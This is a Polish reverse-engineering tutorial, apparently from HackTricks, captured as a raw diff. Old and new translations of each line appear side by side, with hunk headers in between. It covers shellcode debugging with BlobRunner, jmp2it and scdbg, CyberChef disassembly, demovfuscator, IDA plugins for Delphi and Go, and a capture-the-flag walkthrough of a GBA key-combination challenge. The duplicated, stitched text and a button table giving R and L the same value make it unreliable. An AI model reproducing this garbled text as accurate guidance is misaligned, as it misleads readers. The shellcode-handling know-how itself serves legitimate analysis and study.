## Aplikacje GUI / Gry wideo
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania ważnych wartości zapisanych w pamięci działającej gry i ich zmiany. Więcej informacji w:
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania ważnych wartości zapisanych w pamięci działającej gry i ich zmiany. Więcej informacji znajdziesz w:
{% content-ref url="cheat-engine.md" %}
[cheat-engine.md](cheat-engine.md)
@ -171,10 +170,10 @@ Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzyma
### Debugowanie shellkodu za pomocą blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **przydzieli** **shellkod** w przestrzeni pamięci, wskaże **adres pamięci**, w którym shellkod został przydzielony, a następnie **zatrzyma** wykonanie.\
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **przydzieli** **shellkod** w przestrzeni pamięci, wskaże **adres pamięci**, w którym został przydzielony shellkod, a następnie **zatrzyma** wykonanie.\
Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu, ustawić **punkt przerwania na wskazanym adresie pamięci** i **wznowić** wykonanie. W ten sposób będziesz debugować shellkod.
Strona wydań na GitHubie zawiera spakowane wersje skompilowanych wydań: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Na stronie wydań na GitHubie znajdziesz skompilowane wersje: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner pod następującym linkiem. Aby ją skompilować, wystarczy **utworzyć projekt C/C++ w Visual Studio Code, skopiować i wkleić kod oraz go skompilować**.
{% content-ref url="blobrunner.md" %}
@ -183,7 +182,7 @@ Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner pod następującym lin
### Debugowanie shellkodu za pomocą jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)jest bardzo podobny do blobrunner. **Przydzieli** **shellkod** w przestrzeni pamięci i rozpocznie **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **rozpocząć, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, ponieważ będzie to wywołanie do shellkodu, a ostatecznie będziesz wykonywać shellkod.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)jest bardzo podobny do blobrunner. **Przydzieli** **shellkod** w przestrzeni pamięci i rozpocznie **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **rozpocząć, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, która będzie wywołaniem do shellkodu, i ostatecznie będziesz wykonywać shellkod.
![](<../../.gitbook/assets/image (397).png>)
@ -207,9 +206,9 @@ Możesz zobaczyć stos na przykład w postaci zrzutu szesnastkowego:
![](<../../.gitbook/assets/image (402).png>)
### Deobfuskacja shellkodu i uzyskiwanie wykonywanych funkcji
### Odszyfrowywanie shellkodu i uzyskiwanie funkcji wykonywanych
Powinieneś spróbować [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Spróbuj [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Pokaże ci, które funkcje używa shellkod i czy shellkod **dekoduje** się w pamięci.
```bash
scdbg.exe -f shellcode # Get info
@ -223,20 +222,20 @@ scDbg posiada również graficzny uruchamiacz, w którym możesz wybrać opcje,
![](<../../.gitbook/assets/image (398).png>)
Opcja **Create Dump** spowoduje zrzucenie ostatecznego shellcode, jeśli jakakolwiek zmiana zostanie dokonana dynamicznie w pamięci shellcode (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do uruchomienia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że któreś z opcji wyjaśnionych wcześniej są lepsze w tej kwestii, ponieważ będziesz mógł użyć Ida lub x64dbg).
Opcja **Create Dump** spowoduje zrzucenie ostatecznego shellcode, jeśli jakakolwiek zmiana zostanie dokonana dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do uruchomienia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że każda z opcji wyjaśnionych wcześniej jest lepsza w tej kwestii, ponieważ będziesz mógł użyć Ida lub x64dbg).
### Rozkładanie na części za pomocą CyberChef
### Rozkładanie za pomocą CyberChef
Prześlij plik ze swoim shellcodem jako dane wejściowe i użyj następującego przepisu, aby go zdekompilować: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Ten obfuskator **modyfikuje wszystkie instrukcje na `mov`** (tak, naprawdę fajne). Wykorzystuje również przerwania do zmiany przepływów wykonań. Aby uzyskać więcej informacji na temat jego działania:
Ten obfuskator **modyfikuje wszystkie instrukcje dla `mov`** (tak, naprawdę fajne). Wykorzystuje również przerwania do zmiany przepływów wykonania. Aby uzyskać więcej informacji na temat jego działania:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
Jeśli masz szczęście, [demovfuscator ](https://github.com/kirschju/demovfuscator) zdeobfuskowuje binarny plik. Ma kilka zależności
Jeśli masz szczęście, [demovfuscator](https://github.com/kirschju/demovfuscator) zdeobfuskuje binarny plik. Ma kilka zależności.
```
apt-get install libcapstone-dev
apt-get install libz3-dev
@ -251,18 +250,18 @@ Aby znaleźć **punkt wejścia**, wyszukaj funkcje za pomocą `::main` jak w:
![](<../../.gitbook/assets/image (612).png>)
W tym przypadku plik binarny nosił nazwę authenticator, więc jest dość oczywiste, że to jest interesująca główna funkcja.\
W tym przypadku plik binarny nosił nazwę authenticator, więc jest dość oczywiste, że ta funkcja main jest interesująca.\
Mając **nazwę** **funkcji**, które są wywoływane, wyszukaj je w **Internecie**, aby dowiedzieć się o ich **wejściach** i **wyjściach**.
## **Delphi**
Dla skompilowanych binariów Delphi można użyć [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
Dla skompilowanych plików binarnych Delphi można użyć [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
Jeśli musisz odwrócić binarny plik Delphi, sugeruję użycie wtyczki IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Wystarczy nacisnąć **ATL+f7** (zaimportuj wtyczkę python w IDA) i wybierz wtyczkę python.
Wystarczy nacisnąć **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python.
Ta wtyczka będzie wykonywać binarny plik i dynamicznie rozwiązywać nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania ponownie naciśnij przycisk Start (zielony lub f9), a przerwa zostanie ustawiona na początku rzeczywistego kodu.
Ta wtyczka będzie wykonywać binarny plik i dynamicznie rozwiązywać nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania naciśnij ponownie przycisk Start (zielony lub f9), a przerwa zostanie przerwana na początku rzeczywistego kodu.
Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w aplikacji graficznej, debugger zatrzyma się w funkcji wykonywanej przez ten przycisk.
@ -270,13 +269,13 @@ Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w
Jeśli musisz odwrócić binarny plik Golang, sugeruję użycie wtyczki IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Wystarczy nacisnąć **ATL+f7** (zaimportuj wtyczkę python w IDA) i wybierz wtyczkę python.
Wystarczy nacisnąć **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python.
To rozwiąże nazwy funkcji.
## Skompilowany Python
Na tej stronie znajdziesz, jak uzyskać kod pythona z binarnego pliku ELF/EXE skompilowanego w pythonie:
Na tej stronie znajdziesz, jak uzyskać kod pythona z binarnego pliku skompilowanego w formacie ELF/EXE:
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -291,11 +290,11 @@ Jeśli masz **binarny** plik gry GBA, możesz użyć różnych narzędzi do **em
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Wtyczka Ghidra
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Wtyczka Ghidra
W [**no$gba**](https://problemkaputt.de/gba.htm), w _**Opcje --> Konfiguracja Emulacji --> Kontrole**_\*\* \*\* możesz zobaczyć, jak nacisnąć przyciski Game Boy Advance
W [**no$gba**](https://problemkaputt.de/gba.htm), w _**Opcje --> Konfiguracja Emulacji --> Kontrole**_\*\* \*\* możesz zobaczyć, jak nacisnąć przyciski Game Boy Advance **buttons**
![](<../../.gitbook/assets/image (578).png>)
Naciśnięcie każdego przycisku ma wartość, aby go zidentyfikować:
Naciśnięcie każdego przycisku ma wartość identyfikacyjną:
```
A = 1
B = 2
@ -308,7 +307,7 @@ DOWN = 128
R = 256
L = 256
```
Więc w tego rodzaju programach interesującą częścią będzie **sposób, w jaki program traktuje dane wejściowe użytkownika**. W adresie **0x4000130** znajdziesz często spotykaną funkcję: **KEYINPUT**.
Więc w tego rodzaju programie interesującą częścią będzie **sposób, w jaki program traktuje dane wejściowe użytkownika**. W adresie **0x4000130** znajdziesz często spotykaną funkcję: **KEYINPUT**.
![](<../../.gitbook/assets/image (579).png>)
@ -383,4 +382,15 @@ W poprzednim kodzie można zobaczyć, że porównujemy **uVar1** (miejsce, gdzie
* W pozostałych przypadkach sprawdzane jest **cont** (`DAT_030000d4`). Jest to **cont**, ponieważ dodaje 1 zaraz po wpisaniu kodu.\
Jeśli jest mniejszy niż 8, wykonywane są działania polegające na **dodawaniu** wartości do **`DAT_030000d8`** (w zasadzie dodawane są wartości naciśniętych klawiszy do tej zmiennej, dopóki cont jest mniejszy niż 8).
Tak więc w tym wyzwaniu, znając wartości przycisków, musisz **nacisnąć kombinację o długości mniejszej niż 8, aby wynikowe dodawanie było równe 0xf3.**
W tym wyzwaniu, znając wartości przycisków, musisz **nacisnąć kombinację o długości mniejszej niż 8, aby wynikowe dodawanie było równe 0xf3.**
**Odniesienie do tego samouczka:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
## Kursy
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Deobfuskacja binarna)